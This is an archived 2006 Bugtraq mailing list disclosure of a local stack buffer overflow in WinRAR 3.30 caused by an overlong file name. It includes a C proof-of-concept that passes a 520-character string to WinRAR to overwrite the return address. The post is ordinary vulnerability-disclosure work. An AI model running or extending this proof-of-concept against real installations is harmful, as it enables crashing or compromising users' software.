bugtraq - Winrar 3.30 Local Buffer Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060103060818.25495.qmail@securityfocus.com>
Date: 3 Jan 2006 06:08:18 -0000
From: Alpha_Programmer@...uxMail.ORG
To: bugtraq@...urityfocus.com
Subject: Winrar 3.30 Local Buffer Overflow


Hello everybody

We found a vulnerability in WinRAR 3.30 that overrun the program in Windows Platforms .

================================================
Synopsis: WinRAR Buffer Overflow Vulnerability in File Name
Product: WinRAR
Version: 3.30
Vender: RARLab (http://www.rarlab.com)
Remote: No
Local: Yes
Discover: Vredited By Alpha Programmer & Trap-Set U.H Team
================================================

When WinRAR Opens an archive which includes the long File Name in inside, Buffer Over runing occurs on the stack.
This Event Happen When We Use 520 Character inside the Winrar.exe. it Fill the Ret Successful .

================================================

In Follow You Can See a Proof Of Concept For Overflow . Please Execute it in Winrar 3.30 Directory :

================================================
#include<stdio.h>
#include<windows.h>

int main (void)
{
char bad[1500] = "" ;
char bad2[1500] = "WinRAR\t";

	
	printf ("\t\t** Merry Christmas **\n\n");
	printf ("\t\t Trap-Set U.H Team\n");
	printf ("  \tWinRAR 3.30 Local Buffer Overflow\n");
	memset (bad,'a',520);
	
	strcat(bad2,bad);
	printf("\nOver Running ... Just a Proof Of Concept . Not For Attacking !\n\n");
	printf("\tDiscovered By : Alpha Programmer\n");

	system(bad2);



return (0);

}
================================================

Tested on WinXP SP 2 Platform .

Special Tnx to :

mh_p0rtal  --  Dr-CephaleX

And : www.Couz.com Security Team

For Contact :

Alpha_Programmer@...uxMail.ORG

    ** Trap-Set U.H Team **
     ** Merry Christmas **

=================================================